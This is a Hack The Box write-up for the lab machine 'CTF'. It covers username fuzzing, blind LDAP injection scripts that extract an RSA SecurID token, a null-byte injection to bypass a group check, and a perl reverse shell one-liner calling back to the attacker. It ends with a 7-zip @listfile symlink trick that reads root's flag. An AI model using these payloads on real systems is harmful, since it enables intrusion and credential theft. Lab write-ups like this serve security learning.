CTF - Hack The Box
This time it’s a very lean box with no rabbit holes or trolls. The box name does not relate to a Capture the Flag event but rather the Compressed Token Format used by RSA securid tokens. The first part of the box involves some blind LDAP injection used to extract the LDAP schema and obtain the token for one of the user. Then using the token, we are able to generate tokens and issue commands on the box after doing some more LDAP injection. The last part of the token was pretty obscure as it involved abusing the listfile parameter in 7zip to trick it into read the flag from root.txt. I was however not able to get a root shell on this box using this technique.
Summary
- A hint in the HTML comments of the login page mentions a 81-digit token
- I can fuzz the usernames on the login page and find that there is a valid user named
ldapuser
- An LDAP injection allows me to extract the token from the
pager
LDAP attribute of userldapuser
- The group membership check on the command execution page can be bypassed by an LDAP injection on the
uid
attribute - I get a shell with a simple perl reverse shell command
- There’s a script running every minute that compresses and encrypt all files under
/var/www/html/upload
- I can use the
listfile
parameter in 7-zip to force the program to read theroot.txt
file inside the root directory
Tools/Blogs used
Detailed steps
The box doesn’t have anything listening other than SSH and Apache:
# nmap -sC -sV -p- 10.10.10.122
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-02 19:02 EST
Nmap scan report for ctf.htb (10.10.10.122)
Host is up (0.0077s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTF
Quick web enumeration
The box creators have implemented a rate-limit system on the box using fail2ban to prevent people from blindly bruteforcing it (dirbuster, sqlmap, etc.).
The main page has a link to a status page where I can see if any IP address is currently banned.
And there’s also a login page, which prompts for a username and a One Time Password (OTP)
Based on the HTML comments of the page, I can see that the token stored on the server contains 81 digits:
The token is not the password but rather the cryptographic material used to generate the one time passwords. A new password is generated at regular time interval. To generate a matching password, the client must:
- Configure the token software with the same token information (81 digits) as the one on the server
- The time on the client machine must be the same (or close enough) as the server
The server return an invalid user error message whenever I use an invalid user ID:
Username enumeration
To enumerate the users on the system, I use wfuzz with a wordlist. Luckily, the login page doesn’t appear to be rate-limited so I can quickly scan through the wordlists. This part took a while though, I had to try various wordlists from seclists since my first picks didn’t contain that user.
# wfuzz -c -w /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt --hs "not found" -d "inputUsername=FUZZ&inputOTP=12345" -u http://ctf.htb/login.php
000003: C=200 68 L 229 W 2810 Ch "!@#"
000004: C=200 68 L 229 W 2810 Ch "!@#%"
000005: C=200 68 L 229 W 2810 Ch "!@#%^"
000006: C=200 68 L 229 W 2810 Ch "!@#%^&"
000011: C=200 68 L 229 W 2810 Ch "*****"
000007: C=200 68 L 229 W 2810 Ch "!@#%^&*"
000066: C=200 68 L 229 W 2810 Ch "123456*a"
000008: C=200 68 L 229 W 2810 Ch "!@#%^&*("
000009: C=200 68 L 229 W 2810 Ch "!@#%^&*()"
005122: C=200 68 L 229 W 2810 Ch "Ch4ng3m3!"
005724: C=200 68 L 229 W 2810 Ch "*%�Cookie:"
009378: C=200 68 L 229 W 2810 Ch "!!Huawei"
011498: C=200 68 L 231 W 2822 Ch "ldapuser" <------
[...]
Based on the wfuzz output, I notice that some of the characters seem to be blacklisted by the system. Whenever I use the following characters, the page doesn’t return any message at all: ! & * () = \ | <> ~
The only valid user I found is: ldapuser
. When I try that user on the login page, I get a Cannot login
error message instead of User not found
.
Testing for LDAP injection
Now that I have the username, I can guess the next part involves LDAP injection. I can get around the blacklisting of the characters by using double URL encoding: )
becomes %2529
instead of %29
.
I made a quick script to test different payloads. The script URL encodes the payload twice (once with urllib.quote
and the other one automatically with the post
method).
#!/usr/bin/python
import re
import requests
import urllib
def main():
while True:
cmd = raw_input("> ")
data = {
"inputUsername": urllib.quote(cmd),
"inputOTP": "12345",
}
proxy = {"http": "http://127.0.0.1:8080"}
print("Payload: {}".format(data['inputUsername']))
r = requests.post("http://ctf.htb/login.php", data=data, proxies=proxy)
m = re.search(r'<form action="/login.php" method="post" >\s+<div class="form-group row">\s+<div class="col-sm-10">\s+(.*)</div>', r.text)
if m:
try:
print(m.group(1))
except IndexError:
print("Something weird happened")
if __name__== "__main__":
main()
Test #1: Invalid username, no injection
> invalid
Payload: invalid
User invalid not found
Result: User is not found as expected.
Test #2: Valid username, no injection
> ldapuser
Payload: ldapuser
Cannot login
Result: User is found but I get an error message because OTP is invalid.
Test #3: Basic injection assuming a search filter like (&(user) **rest of the query**
> ldapuser)(&
Payload: ldapuser%29%28%26
Cannot login
Result: I’ve successfully identified that LDAP injection is possible since the query returns a result
Test #4: Injection with invalid query to test behaviour of the page when it errors out
> ldapuser)(bad_ldap_search)))))(((((
Payload: ldapuser%29%28bad_ldap_search%29%29%29%29%29%28%28%28%28%28
Result: I don’t get anything back, the page basically refreshes when it gets an invalid query. This is what I saw earlier when fuzzing the page with invalid characters. The characters are not necessarily invalid but they resulted in an invalid LDAP search filter when I was fuzzing.
Conclusion: This is a blind LDAP injection since the page doesn’t return the results of the query in a field on the page or in an error message
LDAP injection to get the OTP token
The first thing I did next was to try to find out which LDAP attributes are valid in the database. The list of common LDAP attributes is available on multiple websites, and we already have a hint from the HTML comments that the application uses a common LDAP attribute to store the token.
I modified my script to run through the entire list of attributes and try a query resulting in: (uid=*)(attribute_to_test=*)
. If the attribute exists, the query should return a result and I should get the Cannot login
message.
#!/usr/bin/python
import re
import requests
import time
import urllib
def main():
with open("attributes.txt") as f:
attributes = f.read().splitlines()
for attribute in attributes:
payload = "*)({}=*".format(attribute)
data = {
"inputUsername": urllib.quote(payload),
"inputOTP": "12345",
}
proxy = {"http": "http://127.0.0.1:8080"}
time.sleep(0.5)
r = requests.post("http://ctf.htb/login.php", data=data, proxies=proxy)
m = re.search(r'<form action="/login.php" method="post" >\s+<div class="form-group row">\s+<div class="col-sm-10">\s+(.*)</div>', r.text)
if m:
try:
if "Cannot login" in m.group(1):
print("Attribute {}: exists!".format(attribute))
except IndexError:
print("Something weird happened")
if __name__== "__main__":
main()
Results are shown here:
# python ldapattributes.py
Attribute cn: exists!
Attribute gidNumber: exists!
Attribute homeDirectory: exists!
Attribute loginShell: exists!
Attribute mail: exists!
Attribute pager: exists!
Attribute shadowLastChange: exists!
Attribute shadowMax: exists!
Attribute shadowMin: exists!
Attribute shadowWarning: exists!
Attribute sn: exists!
Attribute uid: exists!
Attribute uidNumber: exists!
Attribute userPassword: exists!
So now that I have a list of valid attributes, I can iterate through a character set using the same boolean blind technique to get the values of each attribute.
More bad python code below:
#!/usr/bin/python
import re
import requests
import sys
import time
import urllib
charset = "abcdefghijklmnopqrstuvwxyz"
charset += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
charset += "0123456789_-"
def main():
with open("valid_attributes.txt") as f:
attributes = f.read().splitlines()
for attribute in attributes:
ldapfield = ""
while True:
for c in charset:
keep_going = False
payload = "*)({}={}".format(attribute, ldapfield + c + "*")
data = {
"inputUsername": urllib.quote(payload),
"inputOTP": "12345",
}
proxy = {"http": "http://127.0.0.1:8080"}
time.sleep(0.5)
r = requests.post("http://ctf.htb/login.php", data=data, proxies=proxy)
m = re.search(r'<form action="/login.php" method="post" >\s+<div class="form-group row">\s+<div class="col-sm-10">\s+(.*)</div>', r.text)
if m:
try:
if "Cannot login" in m.group(1):
ldapfield = ldapfield + c
keep_going = True
break
except IndexError:
print("Something weird happened")
exit(1)
if keep_going == False:
# Charset rolled over, we're done here
print("LDAP attribute {} = {}".format(attribute, ldapfield))
ldapfield = ""
break
if __name__== "__main__":
main()
Dumping takes a long time because of the sleep timer I added so I don’t get blocked:
# python ldapdump.py
LDAP attribute cn = ldapuser
LDAP attribute gidNumber =
LDAP attribute homeDirectory =
LDAP attribute loginShell =
LDAP attribute mail = ldapuser@ctf.htb
LDAP attribute pager = 285449490011357156531651545652335570713167411445727140604172141456711102716717000
At last, I found the OTP token: 285449490011357156531651545652335570713167411445727140604172141456711102716717000
I can use stoken to generate OTPs. I just need to import the token first:
# stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000
Enter new password:
Confirm new password:
I can now generate OTPs:
root@ragingunicorn:~# stoken
Enter PIN:
PIN must be 4-8 digits. Use '0000' for no PIN.
Enter PIN:
43589231
Note: The server time must match the one of my machine otherwise the password won’t be valid. Normally in real life this shouldn’t be a problem because both client and server are normally synched to an NTP source. Because this is HTB and the boxes don’t have internet access, there’s a clock drift of several minutes so I had to adjust the time on my machine to match the one from the box. I used the following cURL request to get the time from the server:
# curl -s --stderr - -v 10.10.10.122 | grep Date
< Date: Tue, 05 Feb 2019 02:00:29 GMT
So I can now log in using ldapuser
and a generated token. I get redirected to /page.php
after successfully logging in.
However when I try to send a command, I get an error message about not being part of the right group:
LDAP injection to get access to the command execution page
What I need to do now is trick the server into letting me log in as ldapuser
but also skip whatever group membership check is done on page.php
.
Assuming the LDAP query is something like: (&(uid=user)(|(gid=root)(gid=adm))(token=*))
, it seems impossible to inject the query in a way that’ll make the query valid and also skip the last part of the query. What I can do however is use a NULL character in the username so I can terminate the LDAP query wherever I want.
I modifed my earlier script to add an extra NULL byte at the end (URL encoded):
data = {
"inputUsername": urllib.quote(cmd)+'%00',
"inputOTP": "12345",
}
I just need to find how many parentheses are required to close the query:
# python ldapinject.py
> ldapuser)
ldapuser%29%00
> ldapuser))
ldapuser%29%29%00
> ldapuser)))
ldapuser%29%29%29%00
Cannot login
That last query was valid. What I do next is modify the script a little more so I can send a valid login request with the correct OTP:
data = {
"inputUsername": urllib.quote(cmd)+'%00',
"inputOTP": str(sys.argv[1]),
}
I recompiled cli.c
in the stoken source code to use a hardcoded PIN of 0000
so I can pipe the token directly with user input. Yes I know you can pass a parameter to specify the PIN but I found out after, haha.
if (get_pin && securid_pin_required(t) && (!strlen(t->pin) || opt_pin)) {
xstrncpy(t->pin, "0000", 4);
}
This make using the injection script a bit easier:
# ./stoken
14780441
# python ldapinject.py $(./stoken)
> ldapuser)))
ldapuser%29%29%29%00
Login ok
{'Content-Length': '2818', 'X-Powered-By': 'PHP/5.4.16', 'Set-Cookie': 'PHPSESSID=urdd46i8obcnkkso4glf66cic1; path=/', 'Expires': 'Thu, 19 Nov 1981 08:52:00 GMT', 'Keep-Alive': 'timeout=5, max=100', 'Server': 'Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16', 'Connection': 'Keep-Alive', 'Location': '/page.php', 'Pragma': 'no-cache', 'Cache-Control': 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', 'Date': 'Tue, 05 Feb 2019 02:20:43 GMT', 'Content-Type': 'text/html; charset=UTF-8'}
It seems I got a valid login and a session cookie, let’s put that in Firefox and see if I can issue commands on page.php
:
Nice, I got RCE now.
Getting a shell
I can easily get a shell with a standard perl reverse shell payload:
perl -e 'use Socket;$i="10.10.14.23";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.122] 34436
sh: no job control in this shell
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
I don’t have a lot of privileges though. I’ll have to escalate to another user before I can find user.txt
:
sh-4.2$ cd /home
cd /home
sh-4.2$ ls
ls
ls: cannot open directory .: Permission denied
I can read source files from the PHP application and find the password for ldapuser:
sh-4.2$ cat login.php
<!doctype html>
<?php
session_start();
$strErrorMsg="";
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
I’m now able to SSH in with those credentials and get user.txt
:
# ssh ldapuser@10.10.10.122
ldapuser@10.10.10.122's password:
[ldapuser@ctf ~]$ cat user.txt
74a8e8...
Privesc
The content of /backup
is interesting: there’s a script that appears to run in a cronjob, archiving files into the folder:
[ldapuser@ctf backup]$ ls -la
total 52
drwxr-xr-x. 2 root root 4096 Feb 6 01:01 .
dr-xr-xr-x. 18 root root 238 Jul 31 2018 ..
-rw-r--r--. 1 root root 32 Feb 6 00:51 backup.1549410661.zip
-rw-r--r--. 1 root root 32 Feb 6 00:52 backup.1549410721.zip
-rw-r--r--. 1 root root 32 Feb 6 00:53 backup.1549410781.zip
-rw-r--r--. 1 root root 32 Feb 6 00:54 backup.1549410841.zip
-rw-r--r--. 1 root root 32 Feb 6 00:55 backup.1549410901.zip
-rw-r--r--. 1 root root 32 Feb 6 00:56 backup.1549410961.zip
-rw-r--r--. 1 root root 32 Feb 6 00:57 backup.1549411021.zip
-rw-r--r--. 1 root root 32 Feb 6 00:58 backup.1549411081.zip
-rw-r--r--. 1 root root 32 Feb 6 00:59 backup.1549411141.zip
-rw-r--r--. 1 root root 32 Feb 6 01:00 backup.1549411201.zip
-rw-r--r--. 1 root root 32 Feb 6 01:01 backup.1549411261.zip
-rw-r--r--. 1 root root 0 Feb 6 01:01 error.log
-rwxr--r--. 1 root root 975 Oct 23 14:53 honeypot.sh
The script honeypot
is shown below. In a nutshell:
- It generates archive filenames based on the date/time
- Encryption password for the archive is an md5hash of a generated password based in the root hash. No way we can recover this password.
- All the files from
/var/www/html/uploads
are archived into/backup
It doesn’t seem possible to abuse some of the bash wildcards that I used to solve another HTB box since the script passes the --
flag that prevents processing further flags.
[ldapuser@ctf backup]$ cat honeypot.sh
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
When I look at the 7za man page, I see that there is a @listfiles argument I can pass at the end:
7za <command> [<switches>... ] <archive_name> [<file_names>... ] [<@listfiles>... ]
You can supply one or more filenames or wildcards for special list files (files containing lists of files). The filenames in such list file must be separated by new line symbol(s).
For list files, 7-Zip uses UTF-8 encoding by default. You can change encoding using -scs switch.
Multiple list files are supported.
For example, if the file “listfile.txt” contains the following:
My programs*.cpp Src*.cpp then the command
7z a -tzip archive.zip @listfile.txt adds to the archive “archive.zip” all “*.cpp” files from directories “My programs” and “Src”.
So by placing a file starting with an @
character in the uploads folder, the 7-zip archiver will attempt to read a list of file to compress from the file name specified after the @ sign. By referencing a symlink to root.txt instead of a file containing filenames, 7-zip tries to read the flag and I can see it in the error log file.
drwxrwxrwx. 2 apache apache 31 Feb 5 21:21 .
drwxr-xr-x. 6 root root 176 Oct 23 22:14 ..
lrwxrwxrwx. 1 ldapuser ldapuser 14 Feb 5 21:21 test -> /root/root.txt
-rw-rw-r--. 1 ldapuser ldapuser 0 Feb 5 21:21 @test
After a minute, the script executes, gets the file to read from @test
and then …
lapuser@ctf backup]$ tail -f error.log
Command Line Error:
Cannot find listfile
listfile.txt
tail: error.log: file truncated
WARNING: No more files
fd6d2e...